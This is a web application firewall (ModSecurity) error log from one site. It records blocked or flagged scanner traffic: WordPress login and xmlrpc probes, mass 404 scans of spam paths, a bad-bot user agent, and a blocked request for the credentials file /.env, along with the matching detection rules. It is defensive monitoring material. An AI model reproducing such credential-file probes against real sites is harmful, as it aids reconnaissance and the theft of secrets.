[Sun Feb 01 06:15:45.320882 2026] [:error] [pid 10616:tid 10637] [client 81.167.26.57:21193] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aX5_EWd8pZdmVx6pUp7jgwAAANE"]
[Sun Feb 01 06:15:47.366118 2026] [:error] [pid 10616:tid 10630] [client 81.167.26.57:36242] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aX5_E2d8pZdmVx6pUp7jhgAAAMo"]
[Sun Feb 01 06:15:49.236305 2026] [:error] [pid 10508:tid 10565] [client 81.167.26.57:47557] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aX5_FQFwdoMQv5EWp9tpOAAAAFU"]
[Sun Feb 01 06:15:51.145215 2026] [:error] [pid 10508:tid 10558] [client 81.167.26.57:31540] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aX5_FwFwdoMQv5EWp9tpPwAAAE4"]
[Sun Feb 01 06:20:03.434728 2026] [:error] [pid 2033:tid 2041] [client 217.160.134.13:40486] [client 217.160.134.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.134.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX6AE_F7B4oR5nK3T_MCIgAAAQY"]
[Sun Feb 01 06:20:51.191439 2026] [:error] [pid 10616:tid 10628] [client 52.221.89.107:59734] [client 52.221.89.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.221.89.107, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX6AQ2d8pZdmVx6pUp7mUAAAAMg"]
[Sun Feb 01 06:32:32.445351 2026] [:error] [pid 10506:tid 10519] [client 45.86.202.190:21471] [client 45.86.202.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX6DAK32IC2Db4uwFyOnAgAAAAM"]
[Sun Feb 01 06:32:32.447127 2026] [:error] [pid 10506:tid 10540] [client 45.86.202.165:35249] [client 45.86.202.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.165, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX6DAK32IC2Db4uwFyOnAwAAABg"]
[Sun Feb 01 06:35:33.673959 2026] [:error] [pid 2033:tid 2038] [client 67.222.26.187:51850] [client 67.222.26.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.222.26.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX6DtfF7B4oR5nK3T_MI7gAAAQM"]
[Sun Feb 01 07:28:51.473682 2026] [:error] [pid 10616:tid 10640] [client 51.75.129.164:48734] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aX6QM2d8pZdmVx6pUp4BFQAAANQ"]
[Sun Feb 01 07:28:53.416620 2026] [:error] [pid 10616:tid 10620] [client 51.75.129.164:53298] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aX6QNWd8pZdmVx6pUp4BFwAAAMA"]
[Sun Feb 01 07:28:55.525798 2026] [:error] [pid 10508:tid 10566] [client 51.75.129.164:53308] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aX6QNwFwdoMQv5EWp9t-AgAAAFY"]
[Sun Feb 01 07:28:58.100981 2026] [:error] [pid 10506:tid 10520] [client 51.75.129.164:58290] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aX6QOq32IC2Db4uwFyO3rQAAAAQ"]
[Sun Feb 01 07:29:01.947215 2026] [:error] [pid 2033:tid 2041] [client 51.75.129.164:58296] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aX6QPfF7B4oR5nK3T_MiTQAAAQY"]
[Sun Feb 01 07:36:04.082881 2026] [:error] [pid 10616:tid 10628] [client 135.125.181.4:40332] [client 135.125.181.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 135.125.181.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX6R5Gd8pZdmVx6pUp4EQAAAAMg"]
[Sun Feb 01 07:40:56.210068 2026] [:error] [pid 10509:tid 10591] [client 194.60.201.96:60006] [client 194.60.201.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.60.201.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX6TCFMNpJBihOJgwVsEpgAAAJQ"]
[Sun Feb 01 07:52:20.948889 2026] [:error] [pid 10508:tid 10565] [client 92.204.41.13:41150] [client 92.204.41.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.204.41.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX6VtAFwdoMQv5EWp9uGKQAAAFU"]
[Sun Feb 01 07:52:37.781935 2026] [:error] [pid 10509:tid 10573] [client 172.211.184.239:2432] [client 172.211.184.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.211.184.239, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX6VxVMNpJBihOJgwVsIqQAAAII"]
[Sun Feb 01 07:52:55.269876 2026] [:error] [pid 10508:tid 10561] [client 103.36.103.52:44456] [client 103.36.103.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.36.103.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX6V1wFwdoMQv5EWp9uGSwAAAFE"]
[Sun Feb 01 08:02:14.994517 2026] [:error] [pid 10509:tid 10582] [client 135.125.181.4:39720] [client 135.125.181.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 135.125.181.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX6YBlMNpJBihOJgwVsLTQAAAIs"]
[Sun Feb 01 08:11:41.958621 2026] [:error] [pid 2033:tid 2047] [client 45.86.202.185:54041] [client 45.86.202.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX6aPfF7B4oR5nK3T_M4JAAAAQw"]
[Sun Feb 01 08:11:41.965311 2026] [:error] [pid 2033:tid 2050] [client 45.86.202.183:52467] [client 45.86.202.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX6aPfF7B4oR5nK3T_M4JQAAAQ8"]
[Sun Feb 01 08:18:47.402827 2026] [:error] [pid 10616:tid 10627] [client 148.113.194.43:49660] [client 148.113.194.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.194.43, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX6b52d8pZdmVx6pUp4WRwAAAMc"]
[Sun Feb 01 08:52:00.716259 2026] [:error] [pid 10616:tid 10640] [client 213.32.29.164:24694] [client 213.32.29.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.32.29.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX6jsGd8pZdmVx6pUp4i1AAAANQ"]
[Sun Feb 01 09:49:10.347505 2026] [:error] [pid 10506:tid 10516] [client 45.86.202.204:58075] [client 45.86.202.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.204, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX6xFq32IC2Db4uwFyPfGAAAAAA"]
[Sun Feb 01 09:49:10.347527 2026] [:error] [pid 2033:tid 2053] [client 45.86.202.162:50885] [client 45.86.202.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.162, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX6xFvF7B4oR5nK3T_Ni8AAAARI"]
[Sun Feb 01 10:08:00.872932 2026] [:error] [pid 10616:tid 10625] [client 45.127.5.80:48088] [client 45.127.5.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.127.5.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX61gGd8pZdmVx6pUp49mAAAAMU"]
[Sun Feb 01 11:03:29.042058 2026] [:error] [pid 51610:tid 51622] [client 223.244.35.77:47470] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aX7Cgd7GFdNFAqImMQCChAAAAUg"]
[Sun Feb 01 11:04:38.714005 2026] [:error] [pid 51610:tid 51636] [client 43.135.144.81:45438] [client 43.135.144.81] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aX7Cxt7GFdNFAqImMQCC-gAAAVY"]
[Sun Feb 01 12:08:33.927926 2026] [:error] [pid 10508:tid 10568] [client 45.33.121.161:60810] [client 45.33.121.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.33.121.161, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX7RwQFwdoMQv5EWp9vL2QAAAFg"]
[Sun Feb 01 12:18:22.085739 2026] [:error] [pid 10616:tid 10630] [client 198.46.253.39:55528] [client 198.46.253.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.46.253.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX7UDmd8pZdmVx6pUp51igAAAMo"]
[Sun Feb 01 12:18:31.250857 2026] [:error] [pid 10616:tid 10634] [client 35.222.174.159:52006] [client 35.222.174.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.222.174.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX7UF2d8pZdmVx6pUp51nQAAAM4"]
[Sun Feb 01 12:18:38.014660 2026] [:error] [pid 10508:tid 10555] [client 217.154.179.111:48706] [client 217.154.179.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.179.111, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX7UHgFwdoMQv5EWp9vORgAAAEs"]
[Sun Feb 01 12:19:12.551653 2026] [:error] [pid 10506:tid 10525] [client 79.98.29.13:49746] [client 79.98.29.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.98.29.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX7UQK32IC2Db4uwFyMIqwAAAAk"]
[Sun Feb 01 12:19:17.660320 2026] [:error] [pid 10508:tid 10557] [client 34.10.36.252:42482] [client 34.10.36.252] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.10.36.252, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX7URQFwdoMQv5EWp9vOfQAAAE0"]
[Sun Feb 01 12:38:49.007433 2026] [:error] [pid 10508:tid 10560] [client 213.32.29.164:10987] [client 213.32.29.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.32.29.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX7Y2QFwdoMQv5EWp9vTWAAAAFA"]
[Sun Feb 01 13:57:58.369429 2026] [:error] [pid 10509:tid 10586] [client 198.58.96.57:49094] [client 198.58.96.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.58.96.57, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX7rZlMNpJBihOJgwVt71wAAAI8"]
[Sun Feb 01 14:35:57.362700 2026] [:error] [pid 10506:tid 10535] [client 209.38.204.226:34898] [client 209.38.204.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.38.204.226, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX70Ta32IC2Db4uwFyMzKQAAABM"]
[Sun Feb 01 15:57:06.075419 2026] [:error] [pid 10508:tid 10547] [client 47.109.198.34:34926] [client 47.109.198.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.109.198.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX8HUgFwdoMQv5EWp9sPfgAAAEM"]
[Sun Feb 01 15:57:21.910020 2026] [:error] [pid 51610:tid 51625] [client 167.99.116.143:44694] [client 167.99.116.143] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.116.143, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX8HYd7GFdNFAqImMQDcNwAAAUs"]
[Sun Feb 01 16:56:02.927676 2026] [:error] [pid 10506:tid 10516] [client 148.113.180.195:56224] [client 148.113.180.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.180.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX8VIq32IC2Db4uwFyNgwwAAAAA"]
[Sun Feb 01 17:19:52.154868 2026] [:error] [pid 10616:tid 10631] [client 104.28.202.183:39908] [client 104.28.202.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aX8auGd8pZdmVx6pUp7KUQAAAMs"]
[Sun Feb 01 17:22:43.545414 2026] [:error] [pid 10508:tid 10561] [client 43.165.189.110:52052] [client 43.165.189.110] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aX8bYwFwdoMQv5EWp9srUQAAAFE"]
[Sun Feb 01 17:34:44.500467 2026] [:error] [pid 51610:tid 51618] [client 140.245.98.213:49934] [client 140.245.98.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aX8eNN7GFdNFAqImMQD0uQAAAUQ"]
[Sun Feb 01 18:12:14.908263 2026] [:error] [pid 51610:tid 51630] [client 31.58.136.199:36086] [client 31.58.136.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.58.136.199, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX8m_t7GFdNFAqImMQD9wAAAAVA"]
[Sun Feb 01 18:20:00.807721 2026] [:error] [pid 51610:tid 51623] [client 59.29.152.8:29203] [client 59.29.152.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 59.29.152.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX8o0N7GFdNFAqImMQD_LQAAAUk"], referer: https://gigfragments.org/wp-login.php
[Sun Feb 01 18:20:02.845990 2026] [:error] [pid 51610:tid 51614] [client 59.29.152.8:29203] [client 59.29.152.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 59.29.152.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX8o0t7GFdNFAqImMQD_MQAAAUA"], referer: https://whereintheheck.com/wp-login.php
[Sun Feb 01 19:43:34.470303 2026] [:error] [pid 29578:tid 29588] [client 152.53.211.118:57320] [client 152.53.211.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.211.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX88Zkwa4IUBrS8Q04Gf9wAAAYY"]
[Sun Feb 01 19:58:36.898174 2026] [:error] [pid 2033:tid 2052] [client 44.220.80.169:39460] [client 44.220.80.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 44.220.80.169, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX8_7PF7B4oR5nK3T_MI4wAAARE"]
[Sun Feb 01 20:00:55.691699 2026] [:error] [pid 10508:tid 10553] [client 152.53.211.118:32808] [client 152.53.211.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.211.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX9AdwFwdoMQv5EWp9tXLAAAAEk"]
[Sun Feb 01 22:56:40.150223 2026] [:error] [pid 29578:tid 29582] [client 198.71.53.139:59320] [client 198.71.53.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.71.53.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX9pqEwa4IUBrS8Q04HLawAAAYA"]
[Sun Feb 01 23:27:57.276492 2026] [:error] [pid 10616:tid 10640] [client 91.65.123.43:30832] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aX9w_Wd8pZdmVx6pUp4SnwAAANQ"]
[Sun Feb 01 23:28:00.243465 2026] [:error] [pid 41454:tid 41465] [client 91.65.123.43:6806] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aX9xAISGhfKfZM9FAk3D6AAAAck"]
[Sun Feb 01 23:28:02.280732 2026] [:error] [pid 29578:tid 29596] [client 91.65.123.43:34680] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aX9xAkwa4IUBrS8Q04HQzgAAAY4"]
[Sun Feb 01 23:28:04.308229 2026] [:error] [pid 10509:tid 10592] [client 91.65.123.43:18022] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aX9xBFMNpJBihOJgwVsmvQAAAJU"]
[Sun Feb 01 23:28:06.258498 2026] [:error] [pid 10508:tid 10555] [client 91.65.123.43:57250] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aX9xBgFwdoMQv5EWp9uIMwAAAEs"]
